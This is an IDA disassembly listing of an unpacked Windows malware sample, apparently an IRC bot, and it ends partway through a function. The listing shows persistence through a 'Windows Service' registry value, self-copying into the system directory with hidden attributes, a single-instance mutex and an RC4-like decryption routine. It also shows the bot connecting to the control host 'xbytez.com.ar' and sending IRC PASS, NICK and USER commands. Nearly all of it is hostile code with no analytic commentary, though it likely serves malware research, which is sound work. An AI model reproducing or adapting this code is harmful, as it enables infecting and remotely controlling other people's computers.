; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : FBB1F54FC2C49181E643569B3871E4A7 ; File Name : u:\work\fbb1f54fc2c49181e643569b3871e4a7_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000E5000 ( 937984.) ; Section size in file : 000E5000 ( 937984.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401404+346p ; sub_411DDE+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aWindowsService ; "Windows Service" loc_401010: ; CODE XREF: sub_401000+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_437054[esi] push dword_437050[esi] call dword_4D661C ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_414EC0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_4D668C ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+33j push ebx push [ebp+var_4] call dword_4D65CC ; RegDeleteValueA loc_40105B: ; CODE XREF: sub_401000+4Fj push [ebp+var_4] call dword_4D6644 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401071 proc near ; CODE XREF: sub_4010AA+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_4010A3 mov ecx, 0FFh push ebx loc_401088: ; CODE XREF: sub_401071+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_434020[eax*4] xor esi, eax inc edx dec edi jnz short loc_401088 pop ebx loc_4010A3: ; CODE XREF: sub_401071+Fj mov eax, esi pop edi not eax pop esi retn sub_401071 endp ; =============== S U B R O U T I N E ======================================= sub_4010AA proc near ; CODE XREF: sub_410C53+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415090 mov [esp+10h+var_10], offset dword_437068 push [esp+10h+arg_0] mov esi, eax call sub_4176E0 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_4010F5 loc_4010CF: ; CODE XREF: sub_4010AA+37j xor eax, eax jmp short loc_401116 ; --------------------------------------------------------------------------- loc_4010D3: ; CODE XREF: sub_4010AA+4Fj inc ebx push ebx push esi call sub_415580 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010CF push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_4173D0 add esp, 10h loc_4010F5: ; CODE XREF: sub_4010AA+23j test byte ptr [edi+0Ch], 10h jz short loc_4010D3 dec ebx push ebx push esi call sub_401071 push esi mov ebx, eax call sub_415C20 push edi call sub_414F40 add esp, 10h mov eax, ebx loc_401116: ; CODE XREF: sub_4010AA+27j pop edi pop esi pop ebx retn sub_4010AA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_414EC0 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_417700 push esi lea eax, [ebp-240h] push ebx push eax call sub_417700 add esp, 1Ch xor eax, eax mov ecx, 100h loc_401224: ; CODE XREF: .data:0040122Ej mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401224 cmp [ebp+14h], ebx jz short loc_401253 xor eax, eax loc_401237: ; CODE XREF: .data:0040124Fj cmp edi, [ebp+14h] jnz short loc_40123E xor edi, edi loc_40123E: ; CODE XREF: .data:0040123Aj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_401237 jmp short loc_40126D ; --------------------------------------------------------------------------- loc_401253: ; CODE XREF: .data:00401233j xor esi, esi loc_401255: ; CODE XREF: .data:0040126Bj cmp edi, [ebp-38h] jnz short loc_40125C xor edi, edi loc_40125C: ; CODE XREF: .data:00401258j mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401255 loc_40126D: ; CODE XREF: .data:00401251j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_401277: ; CODE XREF: .data:004012A7j mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] mov dl, [esi] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h lea ecx, [ebp+ecx-13Ch] mov bl, [ecx] mov [esi], bl mov [ecx], dl jb short loc_401277 xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_4012FB loc_4012B6: ; CODE XREF: .data:004012F9j inc edi and edi, eax lea ecx, [ebp+edi-13Ch] mov dl, [ecx] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov [ebp+14h], esi lea esi, [ebp+esi-13Ch] mov bl, [esi] mov [ecx], bl mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012B6 loc_4012FB: ; CODE XREF: .data:004012B4j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401300 proc near ; DATA XREF: sub_401404+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4495AC call dword_4D6700 ; closesocket call sub_409826 call dword_4D65C0 ; WSACleanup call dword_4D65C0 ; WSACleanup mov ebx, dword_4E033C push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417700 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417700 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_44881C mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_4E0338 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_4E0334 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_4E0330 ; CreateProcessA test eax, eax jz short loc_4013C5 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_4E032C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4013C5: ; CODE XREF: sub_401300+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_448818 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_4E0328 ; ExitProcess pop edi pop esi pop ebx loc_4013E8: ; DATA XREF: .data:00437004o jmp $+5 push 0FFFFh push 539h call sub_412243 pop ecx mov dword_4D63A0, eax pop ecx retn sub_401300 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401404 proc near ; CODE XREF: sub_41AB00+121p var_984 = byte ptr -984h var_880 = byte ptr -880h var_87F = byte ptr -87Fh var_6F0 = byte ptr -6F0h var_5F0 = byte ptr -5F0h var_4EC = byte ptr -4ECh var_3EC = byte ptr -3ECh var_2E8 = byte ptr -2E8h var_1E4 = byte ptr -1E4h var_E0 = dword ptr -0E0h var_D4 = dword ptr -0D4h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 984h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_401300 push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4E036C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4D63A4, eax call esi ; GetTickCount push eax call sub_417DB0 pop ecx call sub_4076E5 push 2 call dword_4D6714 ; SetErrorMode push 7530h push offset aJav0 ; "Jav0" push ebx push ebx call dword_4E0368 ; CreateMutexA push eax call dword_4E0364 ; WaitForSingleObject cmp eax, 102h jnz short loc_401484 push 1 call dword_4E0328 ; ExitProcess loc_401484: ; CODE XREF: sub_401404+76j lea eax, [ebp+var_880] push eax push 202h call dword_4D65D8 ; WSAStartup cmp eax, ebx jnz loc_40199C cmp [ebp+var_880], 2 jnz loc_401996 xor eax, eax mov al, [ebp+var_87F] cmp al, 2 jnz loc_401996 mov esi, 104h lea eax, [ebp+var_3EC] push esi push eax call dword_4E0338 ; GetSystemDirectoryA lea eax, [ebp+var_2E8] push esi push eax push ebx call dword_4E0360 ; GetModuleHandleA push eax call dword_4E0334 ; GetModuleFileNameA lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push ebx lea eax, [ebp+var_2E8] push ebx push eax call sub_417F80 lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push offset dword_437A44 lea eax, [ebp+var_5F0] push esi push eax call sub_417E80 lea eax, [ebp+var_3EC] push eax lea eax, [ebp+var_2E8] push eax call sub_417E00 add esp, 30h test eax, eax jnz loc_4016E7 cmp dword_437090, ebx mov esi, offset byte_4370EC jz short loc_40157C push esi xor edi, edi call sub_414EC0 sub eax, 4 pop ecx jz short loc_40157C loc_401559: ; CODE XREF: sub_401404+176j call sub_417DC0 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_4370EC[edi], dl inc edi call sub_414EC0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401559 loc_40157C: ; CODE XREF: sub_401404+145j ; sub_401404+153j lea eax, [ebp+var_3EC] push esi push eax lea eax, [ebp+var_1E4] push offset dword_437A4C push eax call sub_417CB0 add esp, 10h lea eax, [ebp+var_1E4] push eax call dword_4E035C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4015BC lea eax, [ebp+var_1E4] push 80h push eax call dword_4E0358 ; SetFileAttributesA loc_4015BC: ; CODE XREF: sub_401404+1A4j mov esi, dword_4E0354 xor edi, edi jmp short loc_4015E8 ; --------------------------------------------------------------------------- loc_4015C6: ; CODE XREF: sub_401404+1F7j call dword_4E0350 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_4015FD cmp eax, 20h jz short loc_4015DA cmp eax, 5 jnz short loc_4015FD loc_4015DA: ; CODE XREF: sub_401404+1CFj xor edi, edi push 3A98h inc edi call dword_4E033C ; Sleep loc_4015E8: ; CODE XREF: sub_401404+1C0j lea eax, [ebp+var_1E4] push ebx push eax lea eax, [ebp+var_2E8] push eax call esi ; CopyFileA test eax, eax jz short loc_4015C6 loc_4015FD: ; CODE XREF: sub_401404+1CAj ; sub_401404+1D4j lea eax, [ebp+var_1E4] push eax call sub_411C9A pop ecx lea eax, [ebp+var_1E4] push 7 push eax call dword_4E0358 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_417700 push 44h lea eax, [ebp+var_E0] pop esi push esi push ebx push eax call sub_417700 mov [ebp+var_E0], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_D4], offset byte_4D651C mov [ebp+var_B4], esi mov [ebp+var_B0], bx call dword_4E034C ; GetCurrentProcessId push eax push esi push 100000h call dword_4E0348 ; OpenProcess lea ecx, [ebp+var_2E8] push ecx push eax lea eax, [ebp+var_1E4] push eax lea eax, [ebp+var_984] push offset dword_437A54 push eax call sub_417CB0 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_3EC] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_984] push ebx push eax lea eax, [ebp+var_1E4] push eax call dword_4E0330 ; CreateProcessA test eax, eax jz short loc_4016E7 push 0C8h call dword_4E033C ; Sleep push [ebp+var_1C] mov esi, dword_4E032C call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call dword_4D65C0 ; WSACleanup push ebx call dword_4E0328 ; ExitProcess loc_4016E7: ; CODE XREF: sub_401404+134j ; sub_401404+2B9j cmp dword_4DDF94, 2 jle short loc_401733 mov eax, dword_4DDF98 push dword ptr [eax+4] call sub_417960 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4E0364 ; WaitForSingleObject push esi call dword_4E032C ; CloseHandle mov eax, dword_4DDF98 cmp [eax+8], ebx jz short loc_401733 push 7D0h call dword_4E033C ; Sleep mov eax, dword_4DDF98 push dword ptr [eax+8] call dword_4E0344 ; DeleteFileA loc_401733: ; CODE XREF: sub_401404+2EAj ; sub_401404+314j cmp dword_437094, ebx jz short loc_401750 cmp dword_4D6734, ebx jnz short loc_401750 lea eax, [ebp+var_5F0] push eax call sub_401000 pop ecx loc_401750: ; CODE XREF: sub_401404+335j ; sub_401404+33Dj lea eax, [ebp+var_9C] push offset dword_437A60 push eax call sub_417CB0 push ebx lea eax, [ebp+var_9C] push ebx push eax call sub_409663 lea eax, [ebp+var_9C] push eax call sub_40F927 push 0B80h push ebx push offset dword_448820 call sub_417700 lea eax, [ebp+var_9C] push offset unk_437A7C push eax call sub_417CB0 push ebx lea eax, [ebp+var_9C] push 1 push eax call sub_409663 add esp, 38h mov esi, eax mov edi, dword_4E0340 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_413B48 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4495B4[esi], eax jnz short loc_4017F0 call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset unk_437AA0 push eax call sub_417CB0 add esp, 0Ch loc_4017F0: ; CODE XREF: sub_401404+3CFj lea eax, [ebp+var_9C] push eax call sub_40F927 push 2 call sub_4098A5 pop ecx test eax, eax pop ecx jnz short loc_401875 lea eax, [ebp+var_9C] push offset dword_437AE0 push eax call sub_417CB0 push ebx lea eax, [ebp+var_9C] push 2 push eax call sub_409663 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_40E91A push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4495B4[esi], eax jnz short loc_401868 call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset dword_437B0C push eax call sub_417CB0 add esp, 0Ch loc_401868: ; CODE XREF: sub_401404+447j lea eax, [ebp+var_9C] push eax call sub_40F927 pop ecx loc_401875: ; CODE XREF: sub_401404+403j call sub_417DC0 push 7Fh and eax, 3 push offset aXbytez_com_ar ; "xbytez.com.ar" push offset dword_4D63AC mov dword_4D6518, eax call sub_417760 mov eax, dword_437070 push 3Fh mov edi, offset dword_4D642C push offset aJ00 ; "#j00#" push edi mov dword_4D64FC, eax call sub_417760 push 3Fh mov esi, offset dword_4D646C push offset byte_4D650C push esi call sub_417760 mov dword_4D6500, ebx loc_4018C7: ; CODE XREF: sub_401404+53Ej ; sub_401404+588j add esp, 24h loc_4018CA: ; CODE XREF: sub_401404+546j mov [ebp+var_4], ebx loc_4018CD: ; CODE XREF: sub_401404+4FFj push offset dword_4D63A8 mov dword_4D6514, ebx call sub_4019A5 cmp eax, 2 jz loc_401991 cmp dword_4D6514, ebx jz short loc_4018F1 dec [ebp+var_4] loc_4018F1: ; CODE XREF: sub_401404+4E8j push 0BB8h call dword_4E033C ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4018CD cmp [ebp+var_C], ebx jz short loc_401944 push 7Fh push offset aXbytez_com_ar ; "xbytez.com.ar" push offset dword_4D63AC call sub_417760 mov eax, dword_437070 push 3Fh push offset aJ00 ; "#j00#" push edi mov dword_4D64FC, eax call sub_417760 push 3Fh push offset byte_4D650C push esi call sub_417760 mov [ebp+var_C], ebx jmp short loc_4018C7 ; --------------------------------------------------------------------------- loc_401944: ; CODE XREF: sub_401404+504j cmp byte_4D650D, bl jz loc_4018CA push 7Fh push offset byte_4D650D push offset dword_4D63AC call sub_417760 mov eax, dword_437074 push 3Fh push offset byte_4D650E push edi mov dword_4D64FC, eax call sub_417760 push 3Fh push offset byte_4D650F push esi call sub_417760 mov [ebp+var_C], 1 jmp loc_4018C7 ; --------------------------------------------------------------------------- loc_401991: ; CODE XREF: sub_401404+4DCj call sub_409826 loc_401996: ; CODE XREF: sub_401404+A1j ; sub_401404+B1j call dword_4D65C0 ; WSACleanup loc_40199C: ; CODE XREF: sub_401404+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_401404 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019A5 proc near ; CODE XREF: sub_401404+4D4p ; DATA XREF: sub_401C87+4FACo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4019CA: ; CODE XREF: sub_4019A5+E6j ; sub_4019A5+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417700 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4D6668 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_408766 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401B07 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417700 push 0 lea eax, [ebp+var_2C] push dword_4370A4 push dword_4370A0 push eax call sub_409361 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4495B8 push edi push eax call sub_417760 add esp, 28h push 6 push 1 push 2 call dword_4D66E8 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4495AC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401A90 push esi call dword_4D6700 ; closesocket call sub_40878F push 7D0h loc_401A85: ; CODE XREF: sub_4019A5+146j call dword_4E033C ; Sleep jmp loc_4019CA ; --------------------------------------------------------------------------- loc_401A90: ; CODE XREF: sub_4019A5+CDj lea eax, [ebp+var_18C] push eax push offset unk_437B40 call sub_40F99B push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401B0B add esp, 28h mov edi, eax push esi call dword_4D6700 ; closesocket test edi, edi jz loc_4019CA cmp edi, 1 jnz short loc_401AED push 0DBBA0h jmp short loc_401A85 ; --------------------------------------------------------------------------- loc_401AED: ; CODE XREF: sub_4019A5+13Fj cmp edi, 2 jnz loc_4019CA push [ebp+var_34] call sub_409979 pop ecx push edi pop eax loc_401B01: ; CODE XREF: sub_4019A5+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401B07: ; CODE XREF: sub_4019A5+5Aj xor eax, eax jmp short loc_401B01 sub_4019A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B0B proc near ; CODE XREF: sub_4019A5+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_4181D0 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401B29: ; CODE XREF: sub_401B0B+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401B29 cmp byte_4370D8, bl jz short loc_401B50 push offset byte_4370D8 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_407604 add esp, 0Ch loc_401B50: ; CODE XREF: sub_401B0B+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_409361 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_417CB0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_401BBA push [ebp+arg_0] call dword_4D6700 ; closesocket push 1388h call dword_4E033C ; Sleep loc_401BB3: ; CODE XREF: sub_401B0B+D9j ; sub_401B0B+153j xor eax, eax loc_401BB5: ; CODE XREF: sub_401B0B+16Fj ; sub_401B0B+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401BBA: ; CODE XREF: sub_401B0B+92j ; sub_401B0B+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4D6680 ; recv test eax, eax jle short loc_401BB3 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_41198E pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401BBA lea edi, [ebp+var_A90] loc_401C0B: ; CODE XREF: sub_401B0B+165j xor esi, esi inc esi loc_401C0E: ; CODE XREF: sub_401B0B+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401C87 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401C51 push 7D0h call dword_4E033C ; Sleep jmp short loc_401C0E ; --------------------------------------------------------------------------- loc_401C51: ; CODE XREF: sub_401B0B+137j cmp esi, 0FFFFFFFDh jz short loc_401C7F cmp esi, 0FFFFFFFEh jz short loc_401C77 cmp esi, 0FFFFFFFFh jz loc_401BB3 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401C0B jmp loc_401BBA ; --------------------------------------------------------------------------- loc_401C77: ; CODE XREF: sub_401B0B+14Ej xor eax, eax inc eax jmp loc_401BB5 ; --------------------------------------------------------------------------- loc_401C7F: ; CODE XREF: sub_401B0B+149j push 2 pop eax jmp loc_401BB5 sub_401B0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C87 proc near ; CODE XREF: sub_401B0B+12Ap var_29B0 = byte ptr -29B0h var_25B0 = byte ptr -25B0h var_2420 = byte ptr -2420h var_2220 = byte ptr -2220h var_2120 = byte ptr -2120h var_2020 = byte ptr -2020h var_1E20 = byte ptr -1E20h var_1E1C = byte ptr -1E1Ch var_1D1C = byte ptr -1D1Ch var_1CCC = dword ptr -1CCCh var_1CC8 = byte ptr -1CC8h var_1A41 = byte ptr -1A41h var_1A40 = byte ptr -1A40h var_193C = dword ptr -193Ch var_1934 = dword ptr -1934h var_1930 = dword ptr -1930h var_192C = dword ptr -192Ch var_1928 = dword ptr -1928h var_1920 = dword ptr -1920h var_191C = byte ptr -191Ch var_1918 = byte ptr -1918h var_1898 = byte ptr -1898h var_1858 = byte ptr -1858h var_17C8 = dword ptr -17C8h var_17C4 = dword ptr -17C4h var_17C0 = dword ptr -17C0h var_17BC = dword ptr -17BCh var_17B8 = dword ptr -17B8h var_17B4 = byte ptr -17B4h var_17B0 = dword ptr -17B0h var_17AC = byte ptr -17ACh var_172C = byte ptr -172Ch var_16B0 = byte ptr -16B0h var_1628 = byte ptr -1628h var_15AC = dword ptr -15ACh var_15A8 = dword ptr -15A8h var_15A4 = dword ptr -15A4h var_15A0 = byte ptr -15A0h var_1524 = dword ptr -1524h var_1520 = dword ptr -1520h var_151C = dword ptr -151Ch var_1518 = dword ptr -1518h var_1514 = byte ptr -1514h var_1510 = byte ptr -1510h var_1410 = byte ptr -1410h var_1400 = byte ptr -1400h var_1380 = byte ptr -1380h var_1300 = dword ptr -1300h var_12F8 = dword ptr -12F8h var_12F4 = dword ptr -12F4h var_12F0 = dword ptr -12F0h var_12EC = dword ptr -12ECh var_12E8 = dword ptr -12E8h var_12E4 = dword ptr -12E4h var_12DC = byte ptr -12DCh var_125C = byte ptr -125Ch var_11DC = dword ptr -11DCh var_11D8 = dword ptr -11D8h var_11D4 = dword ptr -11D4h var_11CC = dword ptr -11CCh var_11C8 = dword ptr -11C8h var_11C4 = dword ptr -11C4h var_11BC = byte ptr -11BCh var_1170 = dword ptr -1170h var_1168 = byte ptr -1168h var_1154 = byte ptr -1154h var_1050 = byte ptr -1050h var_FD0 = dword ptr -0FD0h var_FCC = dword ptr -0FCCh var_FC8 = dword ptr -0FC8h var_FC4 = dword ptr -0FC4h var_FC0 = dword ptr -0FC0h var_FBC = dword ptr -0FBCh var_FB8 = byte ptr -0FB8h var_F38 = byte ptr -0F38h var_E38 = byte ptr -0E38h var_D38 = dword ptr -0D38h var_D34 = dword ptr -0D34h var_D30 = dword ptr -0D30h var_D2C = dword ptr -0D2Ch var_D28 = dword ptr -0D28h var_D24 = dword ptr -0D24h var_D20 = dword ptr -0D20h var_D1C = dword ptr -0D1Ch var_D18 = dword ptr -0D18h var_D14 = dword ptr -0D14h var_D0C = byte ptr -0D0Ch var_CF8 = byte ptr -0CF8h var_CF4 = dword ptr -0CF4h var_CF0 = byte ptr -0CF0h var_C70 = byte ptr -0C70h var_BF4 = byte ptr -0BF4h var_BF0 = byte ptr -0BF0h var_B74 = dword ptr -0B74h var_B70 = dword ptr -0B70h var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = byte ptr -0B60h var_AE0 = dword ptr -0AE0h var_ADC = byte ptr -0ADCh var_AD0 = byte ptr -0AD0h var_ACC = byte ptr -0ACCh 